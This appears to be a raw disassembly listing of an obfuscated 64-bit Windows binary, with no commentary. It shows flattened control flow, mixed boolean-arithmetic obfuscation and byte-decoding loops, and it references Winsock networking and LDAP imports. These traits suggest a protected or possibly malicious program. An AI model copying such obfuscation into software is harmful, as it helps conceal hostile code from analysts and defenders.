add r11b, 0x41
add r11b, dl
cmp r9, 0x40
jb 0x1400bf560
movzx edi, bl
lea edx, [rdi + 0x36]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400bfbba
lea edx, [rbx - 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x21
add r11b, dl
cmp r8, 6
jae 0x1400bfa8d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400bf9ac
lea edx, [rbx - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
jmp 0x1400bf586
lea edx, [rbx - 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x7d
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400bfab6
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400bf886
lea edx, [rbx - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2d
jmp 0x1400bf5c8
lea edx, [rbx - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea edx, [rbx - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x1400bfc5b
lea edx, [rbx - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfc32
lea ecx, [rbx - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
jmp 0x1400bfbff
lea ecx, [rbx - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6a
jmp 0x1400bfbfc
movzx edi, bl
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfb63
lea ecx, [rbx - 0x1e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2e
dec rbx
inc rbx
jmp 0x1400bf102
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400bf102
movzx edi, bl
lea edx, [rdi - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfbba
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400bf7a2
lea ecx, [rbx + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
jmp 0x1400bf616
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf7db
lea edx, [rbx - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf7ff
lea ecx, [rbx - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6e
jmp 0x1400bfbfc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf829
movzx edi, bl
lea edx, [rdi - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x1400bfb63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf857
lea edx, [rbx - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400bf102
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf616
movzx edi, bl
lea edx, [rdi + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfbba
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf8b0
movzx edi, bl
lea edx, [rdi - 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x71
add r11b, dl
jmp 0x1400bfbba
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf8da
lea ecx, [rbx - 0x55]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x53
dec rbx
inc rbx
jmp 0x1400bf102
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf904
movzx edi, bl
lea edx, [rdi - 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4b
add r11b, dl
jmp 0x1400bfb63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf928
lea ecx, [rbx - 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x17
jmp 0x1400bfbfc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf94c
lea ecx, [rbx - 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x79
jmp 0x1400bfbff
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf973
lea edx, [rbx + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x25
add r11b, dl
jmp 0x1400bfc32
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bf5cb
lea ecx, [rbx + 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x61
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bf9e5
lea edx, [rbx - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfa0c
lea edx, [rbx - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1400bfc32
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bfa34
lea edx, [rbx - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfbff
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfa5e
movzx edi, bl
lea edx, [rdi + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x1400bfb63
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf589
movzx edi, bl
lea edx, [rdi + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfbba
movzx edi, bl
lea edx, [rdi + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0x4c0]
sub r11b, al
sub r11b, 0x18
add r11b, r10b
add r11b, dl
jmp 0x1400bfb63
lea edx, [rbx + 0x1a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400bfc32
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 9
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea ecx, [rbx - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x33
jmp 0x1400bfc32
lea ecx, [rbx - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2f
jmp 0x1400bfbff
lea ecx, [rbx - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6f
jmp 0x1400bfbfc
movzx edi, bl
lea ecx, [rdi - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xd
sub dil, 0x5f
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x67
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x4c0], cl
jmp 0x1400bfbfc
movzx edi, bl
lea ecx, [rdi - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x19
jmp 0x1400bfbba
movzx edi, bl
lea ecx, [rdi - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x23
sub dil, 0x51
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x37
add r10b, dil
mov byte [rbp + rbx + 0x4c0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bf102
lea ecx, [rbx + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bf102
lea rcx, [rbx + r12]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 0x29
add r11b, cl
lea edx, [rbx - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 5
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x4c0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0xc]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, cl
mov byte [rbp + rbx + 0x4c0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x13
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
sub bl, 0x23
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xb
jmp 0x1400bf100
sub bl, 0x15
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6d
jmp 0x1400bf0f0
lea rdx, [rbp + 0x1650a0c]
jmp 0x1400bfd18
lea rdx, [rbp + 0xbd1185]
jmp 0x1400bfd18
lea rdx, [rbp + 0x4c0]
mov rcx, rsi
call fcn.140064200
mov byte [rbp + 0x128], 0xde
mov byte [rbp + 0x129], 0xa8
mov byte [rbp + 0x12a], 0xa4
mov byte [rbp + 0x12b], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x12c], xmm0
mov qword [rbp + 0x13c], rax
mov dword [rbp + 0x144], eax
mov byte [rbp + 0x148], al
movabs rsi, 0x998272e7200f14c5
movabs r15, 0x32912451e0699163
movabs r14, 0xcc8758b5602d3e4f
movzx ebx, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400c0986
movzx r10d, byte [rbp + r11 + 0x128]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400c096a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bfddb
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x63
jmp 0x1400bfe22
je 0x1400c08ec
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0862
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c0832
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c0812
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c07ef
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c07aa
cmp r9, r11
ja 0x1400c094e
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400bfe4b
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1f
jmp 0x1400bfe90
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c0790
inc rax
cmp r8, rax
je 0x1400c076d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0753
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0739
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c070d
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400c03db
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c03ba
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c0397
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c0377
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c0356
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0338
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c031e
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c0304
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c02e6
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c02b6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfea0
lea r8, [r9 + 1]
lea r9, [r8 + 8]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c0932
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c0916
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c0081
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c0067
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c004d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c026f
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c0228
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c01e8
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c01c2
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bfea0
lea r8, [r9 + 5]
lea r9, [r8 + 2]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c0192
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c0174
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c0158
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c013d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c011f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c0102
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c00e1
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c00bd
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x1400c009b
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400bfea0
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x1400bfea0
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x3f
jmp 0x1400bfe90
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 5
jmp 0x1400bfe22
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x35
jmp 0x1400bfda6
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx edi, r11b
jmp 0x1400c07c2
lea ecx, [r11 - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x32
inc r9
dec r11
inc r11
jmp 0x1400bfd93
lea ecx, [r11 + 0x34]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x6c
dec r11
inc r11
jmp 0x1400bfd93
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
movzx edi, r11b
jmp 0x1400c06c5
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c0847
lea ecx, [r11 - 0x6a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x1a
jmp 0x1400c084a
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x54
add bl, dl
jmp 0x1400c087a
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c08a5
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea ecx, [r11 + 0x1f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x27
mov byte [rbp + r11 + 0x128], bl
inc r11
jmp 0x1400bfd93
lea edx, [r11 - 0x6b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x13
add bl, dl
cmp r9, 0x40
jb 0x1400c01d8
movzx edi, r11b
lea edx, [rdi + 0x7e]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400c07c2
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x4d
cmp r8, 0xa
jae 0x1400c06a8
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400c05d9
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c01ff
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x79
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400c06f2
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400c04e0
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x69
jmp 0x1400c023d
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c08a5
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2e
jmp 0x1400c087a
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
jmp 0x1400c084a
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c0847
movzx edi, r11b
lea edx, [rdi + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c06ca
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x16
dec r11
inc r11
jmp 0x1400bfd93
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
inc r9
dec r11
inc r11
jmp 0x1400bfd93
movzx edi, r11b
lea edx, [rdi - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c07c2
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400c03fe
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x63
jmp 0x1400c0284
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0433
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3e
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c0459
movzx edi, r11b
lea ecx, [rdi + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1c
jmp 0x1400c06ca
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c0486
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c04b6
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c0284
movzx edi, r11b
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6e
jmp 0x1400c07c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0506
movzx edi, r11b
lea ecx, [rdi + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5d
jmp 0x1400c07c2
inc rax
cmp r8, rax
jne 0x1400c0531
lea ecx, [r11 + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x23
inc r9
dec r11
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c055a
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x17
dec r11
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c057d
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3b
jmp 0x1400c084a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c05a0
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x39
jmp 0x1400c08a5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c023d
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x73
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c060e
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
inc rax
cmp r8, rax
jne 0x1400c0630
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x42
jmp 0x1400c08a5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0657
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c0847
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c067a
movzx edi, r11b
lea edx, [rdi + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5a
jmp 0x1400c06c8
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c01ff
movzx edi, r11b
lea edx, [rdi - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c07c2
movzx edi, r11b
lea edx, [rdi + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, byte [rbp + r11 + 0x128]
sub bl, al
sub bl, 0x38
add bl, r10b
add bl, dl
sub dil, 0x33
movzx eax, r10b
and al, dil
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x65
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x128], cl
jmp 0x1400c0847
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c087a
lea ecx, [r11 + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x15
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x77
jmp 0x1400c087a
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 3
jmp 0x1400c0847
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x55
inc r9
dec r11
inc r11
jmp 0x1400bfd93
movzx edi, r11b
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x1b
jmp 0x1400c07c2
movzx edi, r11b
lea ecx, [rdi - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x59
add dil, 0x43
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x2b
add r10b, dil
mov byte [rbp + r11 + 0x128], r10b
inc r9
dec r11
inc r11
jmp 0x1400bfd93
lea ecx, [r11 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x6d
inc r9
dec r11
inc r11
jmp 0x1400bfd93
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x33
dec r11
inc r11
jmp 0x1400bfd93
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x41
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400bfd93
lea rcx, [r11 + r15]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x4b
lea edx, [r11 + 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x128], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x128], cl
inc r8
